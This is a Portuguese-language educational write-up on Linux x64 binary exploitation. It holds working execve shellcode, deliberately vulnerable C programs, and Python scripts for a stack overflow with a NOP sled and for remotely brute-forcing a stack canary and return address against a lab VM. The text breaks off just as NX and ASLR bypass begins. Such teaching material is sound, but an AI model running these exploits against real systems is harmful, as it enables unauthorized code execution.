H41stur - Binary Exploitation
H41stur - Binary Exploitation
H41stur - Binary Exploitation
H41stur
2021‑09‑24
BINARY EXPLOITATION 2021‑09‑24
Conteúdo
RESUMO 4
INTRODUÇÃO 4
Funcionamento e arquitetura . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Machine Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Assembly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Arquiteturas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
Registradores . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
Execução na memória . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
Buffer Overflow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
Principais meios de proteção . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
NX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
ASLR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
PIE Protector . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
Stack Canaries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
Objetivo geral . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
DESENVOLVIMENTO 10
Criando um shellcode com Assembly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
Simples Buffer Overflow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
Analisando o código fonte . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
Compilando o binário . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Enumerando o binário . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Debugando o binário . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Encontrando o offset . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
Explorando o binário . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
Bypass de proteções e exploração remota . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
Analisando o código fonte . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
Compilando o binário . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
Enumerando o binário . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
Debugando o binário . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
Bypass do Canary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
Bypass do PIE Protector . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
Bypass do NX e ASLR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
CONSIDERAÇÕES FINAIS 51
H41stur 2
BINARY EXPLOITATION 2021‑09‑24
REFERÊNCIAS 51
H41stur 3
BINARY EXPLOITATION 2021‑09‑24
RESUMO
INTRODUÇÃO
Programar um aplicativo sem erros é uma tarefa muito difícil, dado a quantidade de linguagens de
programação e funções que podem ser utilizadas em sua construção.
O CERT C Coding Standard cataloga várias maneiras pelas quais um programa em C pode ser
vulnerável.
Existem inúmeras técnicas de exploração de binários que podem ser utilizados durante a exploração
de um aplicativo, sendo cada vulnerabilidade passiva de técnicas e modelos diferentes.
Neste artigo abordaremos as técnicas de corrupção de memória, conhecidas como buffer overflow
ou estouro de memória, e também abordaremos técnicas para bypass dos principais mecanismos de
proteção do sistema operacional Linux e na arquitetura 64 bits.
H41stur 4
BINARY EXPLOITATION 2021‑09‑24
Funcionamento e arquitetura
Machine Code
Machine Code é um conjunto de instruções que a CPU (Central Process Unit) processa, estas instruções
realizam operações lógicas e aritméticas, movem dados, entre outras funções.
Assembly
Para facilitar para nós, humanos, a programação em linguagem de máquina, foi criado um código
mnemônico chamado "Assembly (ASM)".
H41stur 5
BINARY EXPLOITATION 2021‑09‑24
Arquiteturas
Registradores
H41stur 6
BINARY EXPLOITATION 2021‑09‑24
Semânticamente, cada registrador tem sua própria função, porém, como consenso geral, à depender
da utilização, os registradores RAX, RBX, RCX, e RDX são utilizados por propósito geral, pois
podem ser repositórios para armazenar variáveis e informações.
Já os registradores RSI, RDI, RSP, RBP e RIP tem a função de controlar e direcionar a execução
do programa, e são exatamente estes registradores que iremos manipular na técnica de corrupção de
memória.
Execução na memória
Entre todas as etapas da execução do programa, a "Stack", ou pilha, é onde focaremos o ataque,
pois ela é responsável por armazenar todos os dados, ou “buffer”, que são imputados para o programa
vindos de fora.
H41stur 7
BINARY EXPLOITATION 2021‑09‑24
A Stack segue a ordem de execução “LIFO” (Last In First Out), onde o primeiro dado a entrar, é o último a
sair. Seguindo esta ordem, o registrador RBP referencia a base da pilha, e o registrador RSP referencia
o top da pilha.
Buffer Overflow
O buffer overflow, ou estouro de buffer, ocorre quando um programa recebe como entrada, um buffer
maior do que o suportado, fazendo com que outros espaços da memória sejam sobrescritos.
Quando um registrador que controla a execução, como o RIP, é sobrescrito por um valor inválido na
memória, temos o buffer overflow que causa a “quebra” do programa, e ele pára sua execução.
• No eXecute ou NX;
• Address Space Layout Randomization (ASLR);
• PIE/Stack Protector;
• Stack Canaries/Cookies.
NX
O bit No eXecute ou NX (também chamado de Data Execution Prevention ou DEP), marca certas áreas
do programa, como a Stack, como não executáveis. Isso faz com que seja impossível executar um
comando direto da Stack e força o uso de outras técnicas de exploração, como o ROP (Return Oriented
Programming).
ASLR
H41stur 8
BINARY EXPLOITATION 2021‑09‑24
Desta forma, fica muito difícil durante a exploração, encontrar o endereço de alguma função sensível
para utilizar de forma maliciosa.
PIE Protector
Muito parecido com o ASLR, o PIE Protector randomiza os endereços da Stack a cada execução,
tornando impossível prever em quais endereços de memória, cada função do programa estará ao ser
executado.
Stack Canaries
O Stack Canary é um valor randômico inserido na Stack toda vez que o programa é iniciado. Após o
retorno de uma função, o programa faz a checagem do valor do canary, se for o mesmo, o programa
continua, se for diferente, o programa pára sua execução.
É uma técnica bastante efetiva, uma vez que é praticamente impossível adivinharmos um valor
randômico de 64 bits, porém existem formas de efetuar o bypass do Canary através de vazamento de
endereços de memória e/ou bruteforce.
Objetivo geral
O objetivo deste estudo, é entender como é gerado um shellcode em Assembly e como explorar um
binário vulnerável desenvolvido em linguagem C no sistema Linux 64 bits, desde a análise de
suas funcções vulneráveis, até a aplicação do shellcode desenvolvido.
Também serão exploradas técnicas para bypass dos principais métodos de proteção inseridos na
compilação do binário.
H41stur 9
BINARY EXPLOITATION 2021‑09‑24
DESENVOLVIMENTO
Existem várias ferramentas que agilizam e até automatizam a exploração, como o caso do msfvenom
da suite Metasploit Framework, porém, quando se trata de exploração de binários, nem sempre o
automatizado irá nos atender, é preciso uma análise mais afundo e o desenvolvimento do próprio
exploit.
Com o uso do Metasploit Framework , é possível criar um exploit executável e até mesmo uma linha
de bytes para ser inserido em um script conforme a imagem abaixo:
O msfvenom criou um exploit executável que chama o programa /bin/sh, também pode‑se criar o
mesmo exploit em linha de bytes para ser utilizado em um script, conforme a imagem abaixo:
H41stur 10
BINARY EXPLOITATION 2021‑09‑24
Esta linha de bytes, segue à risca a arquitetura x64 e tem uma ordem específica que será revisada mais
adiante. Mas nem sempre, a depender do SO, ou da proteção do binário, será possível obter um bom
funcionamento deste exploit, ou em outros casos, o msfvenom não estará disponível. Para tanto, é
importante saber a mecânica por trás dele.
É preciso entender como o sistema Linux chama suas funções de sistema. Se consultado o manual da
syscall veremos como as variáveis são armazenadas:
1 $ man syscall
H41stur 11
BINARY EXPLOITATION 2021‑09‑24
Como pode ser visto na imagem, o argumento da função a ser executada ne arquitetura x86‑64 (64
bits), tem que ser colocado no registrador RAX. Ao avançar mais na página de manual, pode ser
observado a posição dos demais argumentos:
H41stur 12
BINARY EXPLOITATION 2021‑09‑24
Como pode ser observado, o primeiro argumento da função deve ir no registrador RDI, o segundo no
RSI, o terceiro no RDX, e os demais em R10, R8 e R9 respectivamente.
Sabendo como montar a estrutura de uma chamada de sistema, é preciso encontrar qual a chamada
será feita, no caso do shell, pode ser usado a função execve. Ao consultar o manual da execve, pode
ser observado sua estrutura.
1 $ man execve
H41stur 13
BINARY EXPLOITATION 2021‑09‑24
Conforme o manual, pode ser observado que a função execve recebe três argumentos:
• pathname que recebe o endereço do comando a ser executado, neste caso será utilizado
“/bin/sh”
• argv[] que é uma array de argumentos que deve ser iniciada com o path do programa e
terminado em NULL
• envp[] que é uma array de chave=valor, para ser passada para o programa.
Também é preciso encontrar o operador que chama a função execve para que possa ser alocado no
registrador RAX, este valor pode ser encontrado com o comando:
59 /bin/sh [‘/bin/sh’, 0]
H41stur 14
BINARY EXPLOITATION 2021‑09‑24
O script abaixo, mostra como o código em Assembly fica para gerar o mesmo exploit executável gerado
pelo msfvenom:
1 $ cat shell.asm
2 global _start
3
4 section .text
5
6 _start:
7
8 xor rdx, rdx ; Zerando o registrador RDX
9 mov qword rbx, '//bin/sh'; Inserindo o comando //bin/sh em RBX
10 shr rbx, 8 ; Shift Right de 8 bits em RBX para
limpar a / extra
11 push rbx ; empurrando RBX para a Stack
12
13 mov rdi, rsp ; Voltando o /bin/sh para RDI (
argumento 1)
14 push rdx ; Enviando o NULL para a pilha
15 push rdi ; Enviando /bin/sh para a pilha
16 mov rsi, rsp ; Movendo ["/bin/sh", 0] para RSI (
argumento 2)
17 mov rax, 59 ; Movendo para RAX o valor de execve
18 syscall ; Chamando a função
1 $ ld shell.o -o shell
O resultado de toda esa operação, é um binário executável que chama o programa /bin/sh como
pode ser visto na imagem abaixo:
H41stur 15
BINARY EXPLOITATION 2021‑09‑24
Assim como no msfvenom, também é possível transformar este executável numa linha de bytes para
uso em scripts python, através do objdump, auxiliado de um shell script conforme abaixo:
1 $ for i in $(objdump -d -M intel shell | grep '^ ' | cut -f2); do echo
-n '\\x'$i; done
2 \x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\
x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb8\x3b\x00\x00\x00\x0f\x05
Com o entendimento da criação de um exploit executável, pode‑se seguir adiante com a exploração
de binários.
Para fins de entendimento de como ocorre a corrupção de memória através do buffer overflow, esta
primeira parte será realizada com um binário sem nenhuma proteção. Este experimento dará uma
visão de como o programa é executado a nível de memória e como é possível executar um shellcode
a partir da Stack.
Nem sempre em um cenário real, é possível ter acesso ao código fonte do binário a ser explorado,
porém, a fins de estudo, o código fonte do binário está abaixo:
1 $ cat prog.c
2 #include <stdio.h>
3 #include <string.h>
4
5 void vuln(void){
6
7 char c[40];
8 puts("Me alimente: ");
9 gets(c);
10 printf("Vc escreveu: %s\n", c);
11 }
12
13 int main(void){
14
15 vuln();
16 return 0;
17 }
H41stur 16
BINARY EXPLOITATION 2021‑09‑24
Ao analisar a função vuln, épossível perceber que ela cria um buffer de 40 bytes, logo em seguida, a
função gets preenche o buffer criado com o input do usuário.
O problema da função gets, é que ela não faz nenhum tratamento no buffer de entrada para
validar seu tamanho, podendo aceitar uma quantidade de bytes muito maior que os 40 setados
inicialmente.
Compilando o binário
Para que a exploração ocorra de fato, é necessário a compilação do script em um binário, desativando
todas as proteções através do comando abaixo:
Enumerando o binário
1 $ ./prog
2 Me alimente:
3 AAAAAAAA
4 Vc escreveu: AAAAAAAA
O programa solicita dados de entrada, e após o envio, retorna a resposta com o buffer. Ao preencher
um buffer maior que o esperado, o programa tem o seguinte comportamento:
1 $ ./prog
2 Me alimente:
3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
4 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
5 Vc escreveu: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
6 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
7 AAAAAAAAAAAAAAAAAAAAA
8 zsh: segmentation fault ./prog
O programa respondeu com o erro "segmentation fault". Isto ocorre, pois o buffer de entrada
foi maior que 40 bytes, sobresccrevendo outros endereços de memória com “A”, fazendo com que o
programa não saiba o que executar após a função vuln.
Debugando o binário
Uma vez constatado a vulnerabilidade de buffer overflow, pode‑se utilizar o Debugger GDB para
verificar o comportamento do programa em nível de memória. Para iniciar, é preciso executar o
H41stur 17
BINARY EXPLOITATION 2021‑09‑24
comando abaixo:
1 $ gdb prog
Ao insrir o comando info functions, todas as funções do programa são listadas, conforme a
imagem abaixo:
Para iniciar o debug, é preciso inserir um breakpoint na função main através do comando b main.
Em seguida executar o programa no GDB com o comando run. Após a execução dos comandos, é
possível ter o overview dos registradores no início da execução, conforme imagem abaixo:
H41stur 18
BINARY EXPLOITATION 2021‑09‑24
H41stur 19
BINARY EXPLOITATION 2021‑09‑24
É possível inserir mais um breakpoint, desta vez na chamada ret da função vuln, que neste caso
está no endereço de memória 0x0000000000401181. Esta chamada retorna para a execução normal
do programa após receber o buffer de entrada. Ao setar um breakpoint nesta chamada, é possível
analisar os registradores neste exato momento. O breakpoint pode ser setado com o comando b *
0x0000000000401181.
Após setar o breakpoint, o programa deve continuar sua execução com o comando continue.
1 gdb-peda$ b * 0x0000000000401181
2 Breakpoint 2 at 0x401181
3 gdb-peda$ continue
4 Continuing.
5 Me alimente:
6 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Após preencher o buffer com uma grande quantidade de dados, pode‑se continuar a execução com o
comando continue.
H41stur 20
BINARY EXPLOITATION 2021‑09‑24
Conforme observado, o programa parou com o erro segmentation fault. Se o proximo comando
a ser executado, que se encontra no topo da pilha, for consultado, pode‑se verificar que ele está
preenchido com 0x4141414141414141 (41= A em hexadecimal). O RSP pode ser consultado com
o comando x/gx $rsp.
Encontrando o offset
Através da análise do código fonte, é possível identificar que o buffer alocado para a função vuln é de
40 bytes, porém, devido aos movimentos de registradores, o buffer para se atingir o RSP é diferente.
Para se descobrir o offset para atingir o endereço desejado, é preciso enviar para o programa um ciclic
pattern, ou seja, uma cadeia de caracteres que pode ser rastreado para identificarmos o endereço
H41stur 21
BINARY EXPLOITATION 2021‑09‑24
correto.
Para criar este ciclic pattern, podemos utilizar o programa msf-pattern_create da suide Metasploit
Framework.
1 $ msf-pattern_create -l 80
2 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1
3 Ac2Ac3Ac4Ac5Ac
Este comando cria um ciclic pattern de 80 bytes que pode ser enviado para o programa sendo
executado no GDB.
1 gdb-peda$ continue
2 Continuing.
3 Me alimente:
4 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1
5 Ac2Ac3Ac4Ac5Ac
6 Vc escreveu: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab
7 7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
Ao consultar o endereço de RSP que causou o erro no programa, é possível encontrar os bytes
resultantes.
1 $ msf-pattern_offset -l 80 -q 0x4130634139624138
2 [*] Exact match at offset 56
O offset para atingir RIP é de 56 bytes. Pode‑se testar este offset ao enviar novamente um buffer
para o programa sendo executado no GDB, contndo 56 letras A e 8 letras B. Ao consultar o
endereço resultante em RSP, ele estará preenchido com o valor 0x4242424242424242 (42 = B em
hexadecimal).
Explorando o binário
Para a exploração do binário, inicialmente será necessário um script em python 2. O motivo pelo
qual será utilizado uma versão antiga da linguagem, se dá pelo fado desta versão imprimir bytes na
H41stur 22
BINARY EXPLOITATION 2021‑09‑24
tela, enquanto o python 3 descontinuou esta função. Porém, para as próximas explorações com
bypass das proteções, o Python 3 será utilizado.
Com o offset correto, é preciso encontrar um “endereço de retorno” válido para o programa, ou seja,
após o buffer de 56 bytes, é preciso informar um endereço válido para o programa, de forma que ele
não entre em segmentation fault. Este endereço pode ser consultado no próprio GDB, uma vez que o
breakpoint foi setado no endereço de retorno da função vuln, o próximo endereço da Stack pode ser
usado.
Uma vez que o ASLR foi desabilitado, qualquer endereço de memória permanecerá o mesmo em todas
as execuções. O endereço de retorno está no topo da Stack conforme a imagem abaixo:
H41stur 23
BINARY EXPLOITATION 2021‑09‑24
Com o endereço em mãos, e com o shell code em linha de bytes criado anteriormente, pode‑se criar
o seguinte script:
1 $ cat exploit.py
2 #!/usr/bin/python
3
4 import struct
5
6 shell = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73
7 \x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6
8 \xb8\x3b\x00\x00\x00\x0f\x05"
9
10 #offset
11 payload = "A" * 56
12 #endereco de retorno
13 payload += struct.pack("<Q", 0x7fffffffdf00)
14 #shellcode
15 payload += shell
16
17 print payload
Para enviar o exploit via GDB, pode ser utilizado o comando r < <(python exploit.py). Ao
executar o binário via GDB enviando este script, é possível obter o retorno de que o programa
chamou o /bin/dash, conforme imagem abaixo:
O exploit está funcional quando é executado por dentro do GDB, pois o endereço de retorno
encontrado, considera não so o binário, mas o próŕio GDB. Porém, quando é executado via terminal,
existe um decremento não específico dos endereços de memória, como não é possível “adivinhar”
este decremento, o script pode ser adaptado com a técnica de NOP Sled.
NOP Sled O opcode NOP, representado pelo byte \x90, é uma instrução Assembly que não faz
absolutamente nada. Quando é inserido uma cadeia de NOPs, o programa simplesmente “desliza”
sobre eles. Como não é possível descobrir o decremento dos valores de memória, é possível fazer
um acréssimo no endereço de retorno seguido de uma cadeia de NOPs.
Isto vai fazer com que o endereço de retorno aponte para um lugar bem abaixo da Stack, e logo em
H41stur 24
BINARY EXPLOITATION 2021‑09‑24
seguida o programa vai percorrer os NOPs até o shellcode, fazendo com que o exploit se adapte às
diferenças de endereços. O sicript adaptado fica como abaixo:
1 $ cat exploit.py
2 #!/usr/bin/python
3
4 import struct
5
6 #cadeia de NOPs
7 nops = "\x90" * 200
8
9 shell = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73
10 \x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6
11 \xb8\x3b\x00\x00\x00\x0f\x05"
12
13 #offset
14 payload = "A" * 56
15 Endereço de retorno acrescido de 200
16 payload += struct.pack("<Q", 0x7fffffffdf00 + 200)
17 #cadeia de NOPs
18 payload += nops
19 #shellcode
20 payload += shell
21
22 print payload
Ao executar o exploit enviando o payload para o binário, o endereço de retorno é sobrescrito, levando
o programa para a cadeia de NOPs, em seguida o shellcode é executado, uma vez que não existem
proteções para este binário, é possível obter um command shell.
Com este resultado, foi possível entender o funcionamento básico do processo de exploração de
binários via buffer overflow básico. Nas próximas etapas, serão exploradas as técnicas de bypass das
proteções comuns.
H41stur 25
BINARY EXPLOITATION 2021‑09‑24
Conforme os testes realizados, a exploração de um binário sem proteçõs é muito simples e fornece
embasamento de como funciona a arquitatura de execução. Porém no cenário real do dia‑a‑dia
raramente será possível encontrar um binário sem proteções, e frequentemente a exploraçẽo será
feita remotamente.
Nesta etapa do estudo, a exploração será realizada com as principais proteções: ASLR, Canary, NX e
PIE Protector. Para tanto, o desenvolvimento do exploit será feito em partes, focando no bypass de
cada tipo de proteção por etapa.
Este experimento também será feito remotamente, ou seja, além do binário local para estudos, o alvo
do ataque será uma Virtual Machine, que à princípio não se sabe qual distribuição Linux roda como
SO.
O python possui uma biblioteca específica para este tipo de exploração chamada PWNTOOLS que faz
uma boa parte do trabalho de forma automatizada, porém, para fins de entendimento do processo,
esta biblioteca não será utilizada neste experimento.
Algumas das princiais técnicas de bypass serão exploradas neste experimento, tendo em vista que
cada binário terá uma forma diferente de ser explorado, este laboratório trará uma visão geral destas
técnicas.
O binário é um simples programa que solicita um buffer e em seguida imprime uma resposta, abaixo
seu código fonte:
1 $ cat prog.c
2 #include <stdio.h>
3 #include <string.h>
4 #include <stdlib.h>
5 #include <unistd.h>
6 #include <sys/wait.h>
7
8
9 void func(){
10 char overflowme[32];
11 printf("Preencha meu buffer: ");
12 fflush(stdout);
13 read(STDIN_FILENO, overflowme, 200);
14 printf("Agora se vira com o canary!\n");
15 fflush(stdout);
16 }
17
H41stur 26
BINARY EXPLOITATION 2021‑09‑24
18
19 int main(int argc, char* argv[]){
20 while(1) {
21 if (fork()== 0) {
22 func();
23 printf("Valeu!\n");
24 fflush(stdout);
25 exit(0);
26 } else {
27 wait(NULL);
28 }
29 }
30 return 0;
31 }
Ao analisar a função func é possível perceber que ela cria um buffer de 32 bytes chamado
overflowme, e logo em seguida solicita a entrada para este buffer. Porém a função read capta o
buffer de entrada e o envia para o overflowme limitando o tamanho da entrada em 200 bytes, muito
mais do que a capacidade do byffer overflowme, causando sobrescrita na memória caso a entrada
seja maior que 32 bytes.
Compilando o binário
Para que o binário possa ser estudado localmente, antes de iniciar a enumeração remota, é preciso
compilar o código com o comando abaixo, de forma que todas as proteções sejam ativadas:
Enumerando o binário
1 $ ./prog
2 Preencha meu buffer: AAAAAAAA
3 Agora se vira com o canary!
4 Valeu!
5 Preencha meu buffer:
O programa solicita o buffer de entrada e, após o envio, imprime uma mensagem de agradecimento
e retorna para o início solicitando uma nova entrada. Ao preencher o buffer com mais dados que o
suportado, ele tem o seguinte comportamento:
1 $ ./prog
2 Preencha meu buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
H41stur 27
BINARY EXPLOITATION 2021‑09‑24
Novamente ele recebeu o buffer e retornou para o início. Porém, ao invés da mensagem de
agradecimento "Valeu!", ele trouxe a mensagem *** stack smashing detected ***:
terminated. Esta mensagem indica que o valor do Stack Canary foi sobrescrito.
Confore explicadao anteriormente, no início de cada execução, o programa salva um valor aleatório
na pilha, este valor é o Stack Canary. Antes de finalizar uma função ele compara o valor da pilha
com o valor gerado, se os dois forem iguais, o programa segue, se ao menos um byte for diferente, o
programa para de executar aquele função e retorna o status de stack smashing.
1 $ nc 192.168.0.125 666
2 Preencha meu buffer: AAAAAAAA
3 Agora se vira com o canary!
4 Valeu!
5 Preencha meu buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
6 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
7 Agora se vira com o canary!
8 Preencha meu buffer:
Debugando o binário
O processo para carregar o binário local no Debugger GDB é o mesmo do estudo anterior, executando
o comando $ gdb prog. Após o GDB carregar o programa, pode‑se setar um breakpoint na função
main e em seguida executar o programa com o comando run.
Os registradores terão sua carga inicial e o programa irá parar no breakpoint conforme a imagem
abaixo:
H41stur 28
BINARY EXPLOITATION 2021‑09‑24
Ao “disassemblar” a função func, é possível observar os momentos em que o Stack Canary é inserido
e o momento em que é comparado.
H41stur 29
BINARY EXPLOITATION 2021‑09‑24
H41stur 30
BINARY EXPLOITATION 2021‑09‑24
No momento de conferir o Canary, o programa executa a instrução sub rax,QWORD PTR fs:0x28,
no registrador RAX, é possível visualizar o valor do Canary.
Também é possível analizar os primeiros 40 endereços da Stack com o comando x/40gx $rsp e
observar alguns pontos importantes:
H41stur 31
BINARY EXPLOITATION 2021‑09‑24
Bypass do Canary
O primeiro passo para conseguir o bypass do Canary é eoncontrar o offset até ele, pois só assim é
possível trbalhar diretamente com su valor. ara encontrar este offset, é possível inserir um breakpoint
exatamente no endereço de comparação de valores dentro do GDB e enviar um ciclic pattern para o
programa conforme imagem abaixo:
H41stur 32
BINARY EXPLOITATION 2021‑09‑24
Analisando o breakpoint, pode‑se verificar que a instrução anterior enviou para RAX o valor que está
em [rbp-0x8], ou seja, o valor do Canary que está logo antes do RBP.
Isso significa que o valor de RAX neste momento, é o ponto onde o ciclic pattern sobrescreveu o
Canary, e é justamente este valor que será utilizado para consulta de offset no msf-pattern_offset
:
H41stur 33
BINARY EXPLOITATION 2021‑09‑24
O offset para atingir o Canary é de 40 bytes, o que segnifica que se for enviado um buffer maior que
este, a partir do quadragésimo primeiro byte, o Canary começa a ser sobrescrito. Esta informação
abre brecha para ser utilizado o brute force.
Brute force do Canary: Conforme se sabe, o Canary é uma sequência de 8 bytes aleatória que é
gerada cada vez que o programa é executado, e que se um único byte for sobrescrito, o programa
pára sua execução e volta para o início.
Porém, enquanto o programa não for finalizado, o valor do Canary continua o mesmo. Exemplificando,
pode‑se imaginar que o Canary tenha o valor de "\x07\x06\x05\x04\x03\x02\x01\x00", caso
seja enviado um buffer de 40 bytes, mais o byte "\x0a", o Canary ficará com o valor de "\x07\
x06\x05\x04\x03\x02\x01\x0a", ou seja, o programa pára a função e não retorna a mensagem
"Valeu!", conforme visto na enumeração.
Isso significa, que pode‑se enviar continuamente 40 bytes, mais 1 byte qualquer, e monitorar a
resposta até obter a palavra "Valeu!" do programa. A partir deste ponto, começa‑se a enviar 40
bytes do buffer, mais o byte que resultou na resposta esperada, mais um novo ciclo de tentativas.
1 $ cat exploit.py
2 #!/usr/bin/python3
3
4
5 import socket
6 from struct import pack,unpack
7 from telnetlib import Telnet
8
9 #definindo alvo e funcoes
10 target = ("192.168.0.125", 666)
11 p64 = lambda x: pack("Q",x)
12 u64 = lambda x: unpack("Q",x)
13
14 #funcao que fara o Brute Force
15 def bruteforce(payload):
16 for i in range(256):
17 next_byte = 0x01 * i
18 next_byte = bytes([next_byte])
19
20 tmp_payload = payload + next_byte
21
22 p.send(tmp_payload)
23 p.recv(1024)
H41stur 34
BINARY EXPLOITATION 2021‑09‑24
24 output = p.recv(1024)
25 if b"Valeu!" in output:
26 print(f"[+] Byte encontrado: {hex(i)}")
27 return next_byte
28 if i == 255:
29 print("[-] Erro ao encontrar o proximo byte!")
30 exit()
31
32 #Offset para atingir o Canary
33 offset = b"A" * 40
34 #Valor para sobrescrever RBP
35 rbp = b"B" * 8
36
37 #Cria a conexao com o alvo
38 p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
39 p.connect(target)
40 #Recebe a primeira resposta do alvo
41 p.recv(1024)
42
43 #Inicio do Brute Force do Canary
44 print("[+] Procurando valor do CANARY...")
45 canary = b""
46 for i in range(8):
47 canary = canary + bruteforce(offset + canary)
48 print(f"[+] Valor co CANARY: {canary.hex()}")
Ao executar este script, o exploit fará tentativas consecutivas e incrementais no valor co Canary e
retornará o byte encontrado até finalizar os 8 bytes, conforme imagem abaixo:
H41stur 35
BINARY EXPLOITATION 2021‑09‑24
Conforme realizado no primeiro experimento deste estudo, após o envio do buffer, é necessário
informar um endereço de retorno, porém, neste primeiro experimento, o binário não tinha habilitada
o PIE Protector.
O PIE Protector ou Stack Protector, é um método de proteção que randomiza todos os endereços da
Stack a cada execução. Isto dificulta a ação de encontrar o endereço de retorno para o exploit.
Para efetuar o bypass desta proteção, é preciso uma análise dos endereços de memória, antes da
execução do programa. Ao iniciar o binário no GDB e “disassemblar” a função func antes de executar
o binário, é possível vusualizar alguns endereços conforme imagem abaixo:
Como o PIE Protector está ativado, estes bytes não são endereços de fato, mas sim offsets de
endereço. Isto significa que quando o binário for iniciado, um endereço base aleatório será gerado,
e os endereços de função serão este endereço base + o offset.
Em outras palavras, os endereços mudam, mas as distâncias entre um endereço e outro são sempre
H41stur 36
BINARY EXPLOITATION 2021‑09‑24
os mesmos.
Analisando o disassembly da função main é possível encontrar o offset do endereco de retorno da
função func, conforme imagem abaixo:
O offset do endereço de retorno tem o valor de 0x1246, isso significa, que se for possível obter o valor
de retorno da função func, ou RIP em tempo de execução, e subtrair o valor do offset, chega‑se ao
valor base dos endereços do binário durante a específica execução.
Para encontrar o valor exato de RIP durante a execução, é possível reaproveitar o brute force realizado
no Canary, porém, ao invés de enviar somente o buffer inicial, será enviado o buffer + Canary + valor
de RBP, o script do exploit será atualizado com as seguintes linhas:
H41stur 37
BINARY EXPLOITATION 2021‑09‑24
Ao executar o script, o exploit fará o bruteforce do Canary, incluirá seu valor ao buffer, e iniciará
o bruteforce do endereço de retorno. Assim que o endereço de retorno for encontrado, o script
decrementará o valor de 0x1246 que é seu offset, chegando ao endereço base do binário.
Até este ponto, foi possível efetuar o bypass do Canary e do PIE Protector em tempo de execução, além
de conseguir o vazamento do endereço base do binário que será útil nos próximos passos.
Bypass do NX e ASLR
No primeiro experimento deste estudo, foi possível enviar um shell code logo após o endereço de
retorno, pois todas as instruções foram executadas direto da pilha. Isto ocorreu, pois o byte NX não
estava habilitado.
Byte NX: O byte NX pu No eXecute, é uma proteção que impede que algumas instruções sejam
executadas diretamente de pilha, o que faz muito sentido, pois os registradores existem justamente
para argumentos e funções.
H41stur 38
BINARY EXPLOITATION 2021‑09‑24
Porém, nem todas as instruções são bloqueadas pelo byte NX, se uma função existente no binário ou
existente na Libc utilizada pelo binário for chamada, esta função executa normalmente.
As Libc são bibliotecas padrões da linguagem C que guardam funções que podem ser utilizadas por
programas. Existem inúmeras Libc numa distribuição Linux, e diversas Libc para cada distribuição. É
possível descobrir qual Libc o binário está utilizando com o comando ldd conforme abaixo:
1 $ ldd prog
2 linux-vdso.so.1 (0x00007ffcd43ce000)
3 libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0
x00007f69bfc77000)
4 /lib64/ld-linux-x86-64.so.2 (0x00007f69bfe63000)
